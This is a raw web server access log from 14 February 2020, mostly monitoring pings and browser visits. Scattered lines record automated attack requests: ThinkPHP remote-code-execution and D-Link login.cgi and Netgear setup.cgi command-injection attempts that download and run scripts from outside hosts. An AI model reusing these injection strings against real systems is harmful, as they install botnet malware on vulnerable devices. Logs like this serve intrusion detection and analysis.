212.91.246.72 - - [14/Feb/2020:16:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [14/Feb/2020:16:04:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:16:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.226.72.182 - - [14/Feb/2020:16:07:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:16:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.17.97.2 - - [14/Feb/2020:16:08:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
212.91.246.72 - - [14/Feb/2020:16:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.102.58.53 - - [14/Feb/2020:16:10:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.114.192.235 - - [14/Feb/2020:16:10:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:16:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.207.138.89 - - [14/Feb/2020:16:14:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:16:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.25.88.174 - - [14/Feb/2020:16:19:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.74.95.195 - - [14/Feb/2020:16:21:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:16:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.124.143.0 - - [14/Feb/2020:16:27:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:16:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [14/Feb/2020:16:28:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:16:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [14/Feb/2020:16:32:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:16:32:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:16:32:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [14/Feb/2020:16:32:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [14/Feb/2020:16:33:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.1.25 - - [14/Feb/2020:16:35:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.0.188.134 - - [14/Feb/2020:16:37:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:16:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [14/Feb/2020:16:42:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [14/Feb/2020:16:42:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [14/Feb/2020:16:42:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [14/Feb/2020:16:42:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:16:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.30.210.238 - - [14/Feb/2020:16:47:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.106.110.92 - - [14/Feb/2020:16:48:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:16:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.95.186.174 - - [14/Feb/2020:16:49:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:16:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.106.110.92 - - [14/Feb/2020:16:50:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.106.110.92 - - [14/Feb/2020:16:51:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.106.110.92 - - [14/Feb/2020:16:51:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:16:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.105.234.170 - - [14/Feb/2020:16:52:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:16:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.1.130.251 - - [14/Feb/2020:16:53:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:16:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.112.159.182 - - [14/Feb/2020:16:57:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:16:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:16:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.224.222.158 - - [14/Feb/2020:17:00:38 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.224.222.158 - - [14/Feb/2020:17:00:43 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.224.222.158 - - [14/Feb/2020:17:00:45 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.224.222.158 - - [14/Feb/2020:17:00:47 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
201.69.232.135 - - [14/Feb/2020:17:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.88.102.36 - - [14/Feb/2020:17:03:02 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [14/Feb/2020:17:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.73.35.75 - - [14/Feb/2020:17:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [14/Feb/2020:17:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:17:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [14/Feb/2020:17:07:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [14/Feb/2020:17:07:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [14/Feb/2020:17:07:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:17:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [14/Feb/2020:17:07:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [14/Feb/2020:17:08:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.135.39.103 - - [14/Feb/2020:17:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.243.167.99 - - [14/Feb/2020:17:19:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:17:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.61.136.175 - - [14/Feb/2020:17:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [14/Feb/2020:17:34:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [14/Feb/2020:17:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.231.239.157 - - [14/Feb/2020:17:37:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:17 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
